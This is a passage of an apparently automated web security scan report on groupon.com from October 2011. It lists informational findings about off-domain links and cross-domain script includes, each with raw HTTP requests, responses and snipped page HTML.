<link href="http://assets2.grouponcdn.com/static/stylesheets/app/subscriptions/subscribe_two_steps7-8LbcIF16.css" media="screen" rel="stylesheet" type="text/css" />
<link href='/groupon.ico' rel='icon' />
...[SNIP]...
<noscript>
<iframe src="http://fls.doubleclick.net/activityi;src=2895566;type=subsc017;cat=subsc432;u2=;u1=dallas;ord=1?" width="1" height="1" frameborder="0"></iframe>
...[SNIP]...
</script>
<script src="http://www.googleadservices.com/pagead/conversion.js" type="text/javascript"></script>
...[SNIP]...
<div style='display:inline;'><img alt="?label=u-p3cpox4weq3al15qm&amp;script=0" border="0" height="0" src="http://www.googleadservices.com/pagead/conversion/1019040093/?label=U-p3CPOX4wEQ3aL15QM&amp;script=0" width="1" /></div>
...[SNIP]...
</h1>
<img alt="Save 50% to 90% on Top-Rated Local Deals" class="save_three_steps" src="http://assets2.grouponcdn.com/images/groupon/landing_pages/headline_3.gif?Ps-G-CLd" />
<div class='city_name'>
...[SNIP]...
<div class='step'>
<img alt="Step 1 of 3" src="http://assets2.grouponcdn.com/images/groupon/landing_pages/step_1.gif?UNq811WL" />
</div>
...[SNIP]...
<div class='header_three_steps'>
<img alt="Confirm_city" src="http://assets2.grouponcdn.com/images/groupon/landing_pages/confirm_city.gif?4UuFdEOc" />
</div>
...[SNIP]...
<div class='step'>
<img alt="Step 2 of 3" src="http://assets2.grouponcdn.com/images/groupon/landing_pages/step_2.gif?kNhmeTIh" />
</div>
...[SNIP]...
<div class='header_three_steps'>
<img alt="Enter_email" src="http://assets2.grouponcdn.com/images/groupon/landing_pages/enter_email.gif?fyP2Y5Ml" />
</div>
...[SNIP]...
<div class='step'>
<img alt="Step 3 of 3" src="http://assets2.grouponcdn.com/images/groupon/landing_pages/step_check.png?RbYxkc8D" />
</div>
...[SNIP]...
<div class='header_three_steps'>
<img alt="Places_one_last_thing" src="http://assets2.grouponcdn.com/images/groupon/landing_pages/places_one_last_thing.png?AGAFrLyy" />
</div>
...[SNIP]...
</div>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" type="text/javascript"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.10/jquery-ui.min.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/assets/subscriptions-2QPfGWvY.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/jquery.sha256-MHjUM5vi.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/md5-tMA6wtV9.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/attribute_reader-RS-sBH34.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/cookie-u7JZhWJm.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/groupon_finch_init-YDiv_XCP.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/finch-yP7zt95a.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/groupon_finch-ppX_cg08.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/app/subscriptions/multi_steps-VSmQu2ed.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/tracker-mcweZa7X.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/app/subscriptions/tracker-Uruib0RV.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/dev/jquery.validate-DEXiqLMx.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/app/subscriptions/alerts-IrgXe2LC.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/app/subscriptions/disable_on_submit--rDwJEm-.js" type="text/javascript"></script>
...[SNIP]...

3.2. http://www.groupon.com/subscriptions/new  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /subscriptions/new

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /subscriptions/new?division_p=dallas HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://www.groupon.com/subscriptions/new?division_p=dallas
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _tpref=cdn; spike_landing_url=http%3A%2F%2Fwww.groupon.com%2Fdallas%2F; __utma=44473723.1051317878.1319066684.1319066684.1319066684.1; __utmb=44473723.2.9.1319066684; __utmc=44473723; __utmz=44473723.1319066684.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmv=44473723.|2=Exp-places-080311=Places1%2Fgroup2=1; visited=visit_2; adchemy_id=; division=dallas; b=678db9c0-faa9-11e0-9fd6-005056950d32; s=678dc190-faa9-11e0-9fd6-005056950d32; _thepoint=f6b82100e8966dc929f473cbf7a0e757
If-None-Match: "3b42f8e595ea440d304f39211f3f08d6"

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: text/html; charset=utf-8
Status: 200
ETag: "ba4afff2dd703d24a1dd665f1394cfaf"
X-Runtime: 101
Cache-Control: private, max-age=0, must-revalidate
X-UA-Compatible: chrome=IE8
Date: Wed, 19 Oct 2011 23:24:10 GMT
Content-Length: 34515
Connection: close
Vary: Accept-Encoding
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=dallas; path=/; expires=Sat, 19-Nov-2011 23:24:10 GMT
Set-Cookie: b=678db9c0-faa9-11e0-9fd6-005056950d32; domain=.groupon.com; path=/; expires=Tue, 19-Oct-2021 23:24:10 GMT
Set-Cookie: s=678dc190-faa9-11e0-9fd6-005056950d32; domain=.groupon.com; path=/
Set-Cookie: email=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=f6b82100e8966dc929f473cbf7a0e757; domain=.groupon.com; path=/; expires=Thu, 20 Oct 2011 23:24:10 GMT; HttpOnly

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang='en' xmlns:fb='http://www.facebook.com/2008/fbml' xmlns='http://www
...[SNIP]...
</script>
<link href='http://assets2.grouponcdn.com/favicon.ico?rnb1Dk6i' rel='SHORTCUT ICON' />
<script type="text/javascript">
...[SNIP]...
<meta content='IE=Edge,chrome=IE6' http-equiv='X-UA-Compatible' />
<link href="http://assets2.grouponcdn.com/static/stylesheets/app/landing/index-zm9BnoJf.css" media="screen" rel="stylesheet" type="text/css" />
<link href="http://assets2.grouponcdn.com/static/stylesheets/app/subscriptions/subscribe_two_steps7-8LbcIF16.css" media="screen" rel="stylesheet" type="text/css" />
<link href='/groupon.ico' rel='icon' />
...[SNIP]...
<noscript>
<iframe src="http://fls.doubleclick.net/activityi;src=2895566;u2=;type=subsc017;cat=subsc432;u1=dallas;ord=1?" width="1" height="1" frameborder="0"></iframe>
...[SNIP]...
</script>
<script src="http://www.googleadservices.com/pagead/conversion.js" type="text/javascript"></script>
...[SNIP]...
<div style='display:inline;'><img alt="?label=u-p3cpox4weq3al15qm&amp;script=0" border="0" height="0" src="http://www.googleadservices.com/pagead/conversion/1019040093/?label=U-p3CPOX4wEQ3aL15QM&amp;script=0" width="1" /></div>
...[SNIP]...
</h1>
<img alt="Save 50% to 90% on Top-Rated Local Deals" class="save_three_steps" src="http://assets2.grouponcdn.com/images/groupon/landing_pages/headline_3.gif?Ps-G-CLd" />
<div class='city_name'>
...[SNIP]...
<div class='step'>
<img alt="Step 1 of 3" src="http://assets2.grouponcdn.com/images/groupon/landing_pages/step_1.gif?UNq811WL" />
</div>
...[SNIP]...
<div class='header_three_steps'>
<img alt="Confirm_city" src="http://assets2.grouponcdn.com/images/groupon/landing_pages/confirm_city.gif?4UuFdEOc" />
</div>
...[SNIP]...
<div class='step'>
<img alt="Step 2 of 3" src="http://assets2.grouponcdn.com/images/groupon/landing_pages/step_2.gif?kNhmeTIh" />
</div>
...[SNIP]...
<div class='header_three_steps'>
<img alt="Enter_email" src="http://assets2.grouponcdn.com/images/groupon/landing_pages/enter_email.gif?fyP2Y5Ml" />
</div>
...[SNIP]...
<div class='step'>
<img alt="Step 3 of 3" src="http://assets2.grouponcdn.com/images/groupon/landing_pages/step_check.png?RbYxkc8D" />
</div>
...[SNIP]...
<div class='header_three_steps'>
<img alt="Places_one_last_thing" src="http://assets2.grouponcdn.com/images/groupon/landing_pages/places_one_last_thing.png?AGAFrLyy" />
</div>
...[SNIP]...
</div>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" type="text/javascript"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.10/jquery-ui.min.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/assets/subscriptions-2QPfGWvY.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/jquery.sha256-MHjUM5vi.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/md5-tMA6wtV9.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/attribute_reader-RS-sBH34.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/cookie-u7JZhWJm.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/groupon_finch_init-YDiv_XCP.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/finch-yP7zt95a.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/groupon_finch-ppX_cg08.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/app/subscriptions/multi_steps-VSmQu2ed.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/tracker-mcweZa7X.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/app/subscriptions/tracker-Uruib0RV.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/dev/jquery.validate-DEXiqLMx.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/app/subscriptions/alerts-IrgXe2LC.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/app/subscriptions/disable_on_submit--rDwJEm-.js" type="text/javascript"></script>
...[SNIP]...

3.3. http://www.groupon.com/subscriptions/new  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /subscriptions/new

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /subscriptions/new?division_p=dallas HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.groupon.com/dallas/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _tpref=cdn; adchemy_id=; b=678db9c0-faa9-11e0-9fd6-005056950d32; s=678dc190-faa9-11e0-9fd6-005056950d32; _thepoint=f6b82100e8966dc929f473cbf7a0e757; spike_landing_url=http%3A%2F%2Fwww.groupon.com%2Fdallas%2F; division=dallas; visited=visit_1

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: text/html; charset=utf-8
Status: 200
ETag: "2de53705a5f98264ad0012381ac73181"
X-Runtime: 105
Cache-Control: private, max-age=0, must-revalidate
X-UA-Compatible: chrome=IE8
Content-Length: 34645
Vary: Accept-Encoding
Date: Wed, 19 Oct 2011 23:23:54 GMT
Connection: close
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=dallas; path=/; expires=Sat, 19-Nov-2011 23:23:53 GMT
Set-Cookie: b=678db9c0-faa9-11e0-9fd6-005056950d32; domain=.groupon.com; path=/; expires=Tue, 19-Oct-2021 23:23:53 GMT
Set-Cookie: s=678dc190-faa9-11e0-9fd6-005056950d32; domain=.groupon.com; path=/
Set-Cookie: email=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=f6b82100e8966dc929f473cbf7a0e757; domain=.groupon.com; path=/; expires=Thu, 20 Oct 2011 23:23:54 GMT; HttpOnly

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang='en' xmlns:fb='http://www.facebook.com/2008/fbml' xmlns='http://www
...[SNIP]...
</script>
<link href='http://assets2.grouponcdn.com/favicon.ico?rnb1Dk6i' rel='SHORTCUT ICON' />
<script type="text/javascript">
...[SNIP]...
<meta content='IE=Edge,chrome=IE6' http-equiv='X-UA-Compatible' />
<link href="http://assets2.grouponcdn.com/static/stylesheets/app/landing/index-zm9BnoJf.css" media="screen" rel="stylesheet" type="text/css" />
<link href="http://assets2.grouponcdn.com/static/stylesheets/app/subscriptions/subscribe_two_steps7-8LbcIF16.css" media="screen" rel="stylesheet" type="text/css" />
<link href='/groupon.ico' rel='icon' />
...[SNIP]...
<noscript>
<iframe src="http://fls.doubleclick.net/activityi;src=2895566;type=subsc017;cat=subsc432;u1=dallas;u2=;ord=1?" width="1" height="1" frameborder="0"></iframe>
...[SNIP]...
</script>
<script src="http://www.googleadservices.com/pagead/conversion.js" type="text/javascript"></script>
...[SNIP]...
<div style='display:inline;'><img alt="?label=u-p3cpox4weq3al15qm&amp;script=0" border="0" height="0" src="http://www.googleadservices.com/pagead/conversion/1019040093/?label=U-p3CPOX4wEQ3aL15QM&amp;script=0" width="1" /></div>
...[SNIP]...
</h1>
<img alt="Save 50% to 90% on Top-Rated Local Deals" class="save_three_steps" src="http://assets2.grouponcdn.com/images/groupon/landing_pages/headline_3.gif?Ps-G-CLd" />
<div class='city_name'>
...[SNIP]...
<div class='step'>
<img alt="Step 1 of 3" src="http://assets2.grouponcdn.com/images/groupon/landing_pages/step_1.gif?UNq811WL" />
</div>
...[SNIP]...
<div class='header_three_steps'>
<img alt="Confirm_city" src="http://assets2.grouponcdn.com/images/groupon/landing_pages/confirm_city.gif?4UuFdEOc" />
</div>
...[SNIP]...
<div class='step'>
<img alt="Step 2 of 3" src="http://assets2.grouponcdn.com/images/groupon/landing_pages/step_2.gif?kNhmeTIh" />
</div>
...[SNIP]...
<div class='header_three_steps'>
<img alt="Enter_email" src="http://assets2.grouponcdn.com/images/groupon/landing_pages/enter_email.gif?fyP2Y5Ml" />
</div>
...[SNIP]...
<div class='step'>
<img alt="Step 3 of 3" src="http://assets2.grouponcdn.com/images/groupon/landing_pages/step_check.png?RbYxkc8D" />
</div>
...[SNIP]...
<div class='header_three_steps'>
<img alt="Places_one_last_thing" src="http://assets2.grouponcdn.com/images/groupon/landing_pages/places_one_last_thing.png?AGAFrLyy" />
</div>
...[SNIP]...
</div>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" type="text/javascript"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.10/jquery-ui.min.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/assets/subscriptions-2QPfGWvY.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/jquery.sha256-MHjUM5vi.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/md5-tMA6wtV9.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/attribute_reader-RS-sBH34.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/cookie-u7JZhWJm.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/groupon_finch_init-YDiv_XCP.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/finch-yP7zt95a.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/groupon_finch-ppX_cg08.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/app/subscriptions/multi_steps-VSmQu2ed.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/tracker-mcweZa7X.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/app/subscriptions/tracker-Uruib0RV.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/dev/jquery.validate-DEXiqLMx.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/app/subscriptions/alerts-IrgXe2LC.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/app/subscriptions/disable_on_submit--rDwJEm-.js" type="text/javascript"></script>
...[SNIP]...

4. Cross-domain script include  previous  next
There are 6 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


4.1. http://www.groupon.com/dallas/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /dallas/

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /dallas/ HTTP/1.1
Host: www.groupon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: __utma=44473723.1129982535.1316999742.1316999742.1316999742.1; __utmz=44473723.1316999742.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; b=ba1e76d2-e7dc-11e0-85d0-005056951276; division=dallas; visited=true; visited_channels=getaways; __utmv=44473723.|2=Exp-places-080311=Places1%2Fgroup2=1; adchemy_id=; s=2b93e336-faa9-11e0-8e04-005056921c52; _thepoint=f89bc8770a1eddd3a48298dac40267e7

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: text/html; charset=utf-8
Status: 200
ETag: "272e8306704cf9b6e5ce2d2d269668a6"
X-Runtime: 1028
X-UA-Compatible: chrome=IE8
Content-Length: 162696
Vary: Accept-Encoding
Cache-Control: public, max-age=296
Date: Wed, 19 Oct 2011 23:22:11 GMT
Connection: close

<!DOCTYPE html>
<!--[if lt IE 7 ]> <html class="ie6" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:groupon="http://groupon.com/ns/#" xmlns="http://www.w3.org/1999/xhtml"> <![endif]-->
<
...[SNIP]...
</script>

<script src="http://assets2.grouponcdn.com/static/javascripts/common/groupon_finch_init-YDiv_XCP.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/personalize-F3kBLN5B.js" type="text/javascript"></script>
...[SNIP]...
<!-- / jquery loaded in personalize_js -->
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.10/jquery-ui.min.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/dev/jquery.validate-DEXiqLMx.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/md5-tMA6wtV9.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/finch-yP7zt95a.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/groupon_finch-ppX_cg08.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://assets2.grouponcdn.com/static/assets/application-Uz6CIo4C.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://assets2.grouponcdn.com/static/assets/deal_page-_vyU1T53.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/assets/now_backbone_models-pdOlucUn.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/assets/now_search_unit_v2-3fotvttG.js" type="text/javascript"></script>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://assets2.grouponcdn.com/static/javascripts/views/deals/places_callout-ePlogrbR.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/app/places/tracker-fLf23iTs.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/views/deals/places_callout-ePlogrbR.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/app/places/tracker-fLf23iTs.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/flash_messages-bzfOUgTU.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/assets/facebook-j6mfPDsw.js" type="text/javascript"></script>
...[SNIP]...

4.2. http://www.groupon.com/dallas/all  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /dallas/all

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /dallas/all HTTP/1.1
Host: www.groupon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: __utma=44473723.1129982535.1316999742.1316999742.1319066592.2; __utmz=44473723.1319066592.2.2.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; b=b113756c-faa9-11e0-91b9-00505692776c; division=dallas; visited=true; visited_channels=getaways; __utmv=44473723.|2=Exp-places-080311=Places1%2Fgroup2=1; adchemy_id=; s=b1137cd8-faa9-11e0-91b9-00505692776c; _thepoint=f89bc8770a1eddd3a48298dac40267e7; spike_landing_url=http%3A%2F%2Fwww.groupon.com%2Fdallas%2F; __utmb=44473723.4.8.1319066592; __utmc=44473723; _tpref=cdn

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: text/html; charset=utf-8
Status: 200
ETag: "869f4307bc492732c79e4f5d52a41871"
X-Runtime: 1201
X-UA-Compatible: chrome=IE8
Cache-Control: public, max-age=664
Date: Wed, 19 Oct 2011 23:25:58 GMT
Content-Length: 137112
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html>
<!--[if lt IE 7 ]> <html class="ie6" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:groupon="http://groupon.com/ns/#" xmlns="http://www.w3.org/1999/xhtml"> <![endif]-->
<
...[SNIP]...
</script>

<script src="http://assets2.grouponcdn.com/static/javascripts/common/groupon_finch_init-YDiv_XCP.js" type="text/javascript"></script>
...[SNIP]...
</script>

<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/personalize-F3kBLN5B.js" type="text/javascript"></script>
...[SNIP]...
<!-- / jquery loaded in personalize_js -->
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.10/jquery-ui.min.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/dev/jquery.validate-DEXiqLMx.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/md5-tMA6wtV9.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/finch-yP7zt95a.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/groupon_finch-ppX_cg08.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://assets2.grouponcdn.com/static/assets/application-Uz6CIo4C.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://assets2.grouponcdn.com/static/assets/all_deals_page-pY9Q5WFF.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/flash_messages-bzfOUgTU.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/assets/facebook-j6mfPDsw.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://assets2.grouponcdn.com/static/javascripts/app/deals/shop_all_deals-AG_aCRiV.js" type="text/javascript"></script>
...[SNIP]...

4.3. http://www.groupon.com/learn  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /learn

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /learn HTTP/1.1
Host: www.groupon.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: __utma=44473723.1129982535.1316999742.1316999742.1319066592.2; __utmz=44473723.1319066592.2.2.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; b=ba1e76d2-e7dc-11e0-85d0-005056951276; division=dallas; visited=true; visited_channels=getaways; __utmv=44473723.|2=Exp-places-080311=Places1%2Fgroup2=1; adchemy_id=; s=2b93e336-faa9-11e0-8e04-005056921c52; _thepoint=f89bc8770a1eddd3a48298dac40267e7; spike_landing_url=http%3A%2F%2Fwww.groupon.com%2Fdallas%2F; __utmb=44473723.3.8.1319066592; __utmc=44473723

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Content-Type: text/html; charset=utf-8
Status: 200
ETag: "29c76ca3a57d1ac37c0b665a807e8f07"
X-Runtime: 128
Cache-Control: private, max-age=0, must-revalidate
X-UA-Compatible: chrome=IE8
Content-Length: 121932
Vary: Accept-Encoding
Date: Wed, 19 Oct 2011 23:25:37 GMT
Connection: close
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=dallas; path=/; expires=Sat, 19-Nov-2011 23:25:37 GMT
Set-Cookie: b=ba1e76d2-e7dc-11e0-85d0-005056951276; domain=.groupon.com; path=/; expires=Tue, 19-Oct-2021 23:25:37 GMT
Set-Cookie: s=2b93e336-faa9-11e0-8e04-005056921c52; domain=.groupon.com; path=/
Set-Cookie: email=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=f89bc8770a1eddd3a48298dac40267e7; domain=.groupon.com; path=/; expires=Thu, 20 Oct 2011 23:25:37 GMT; HttpOnly

<!DOCTYPE html>
<!--[if lt IE 7 ]> <html class="ie6" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:groupon="http://groupon.com/ns/#" xmlns="http://www.w3.org/1999/xhtml"> <![endif]-->
<
...[SNIP]...
</script>

<script src="http://assets2.grouponcdn.com/static/javascripts/common/groupon_finch_init-YDiv_XCP.js" type="text/javascript"></script>
...[SNIP]...
</div>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" type="text/javascript"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.10/jquery-ui.min.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/dev/jquery.validate-DEXiqLMx.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/md5-tMA6wtV9.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/finch-yP7zt95a.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://assets2.grouponcdn.com/static/javascripts/common/groupon_finch-ppX_cg08.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://assets2.grouponcdn.com/static/assets/application-Uz6CIo4C.js" type="text/javascript"></script>
...[SNIP]...
<![endif]-->
<script src="http://assets2.grouponcdn.com/static/javascripts/app/users/demographics-corQwi_S.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/javascripts/app/learn/fader-FXhvj5RB.js" type="text/javascript"></script>
<script src="http://assets2.grouponcdn.com/static/assets/facebook-j6mfPDsw.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://assets2.grouponcdn.com/static/javascripts/app/doc/learn-VoEQMEz_.js" type="text/javascript"></script>
...[SNIP]...

4.4. http://www.groupon.com/subscriptions/new  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /subscriptions/new

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /subscriptions/new?division_p=dallas HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
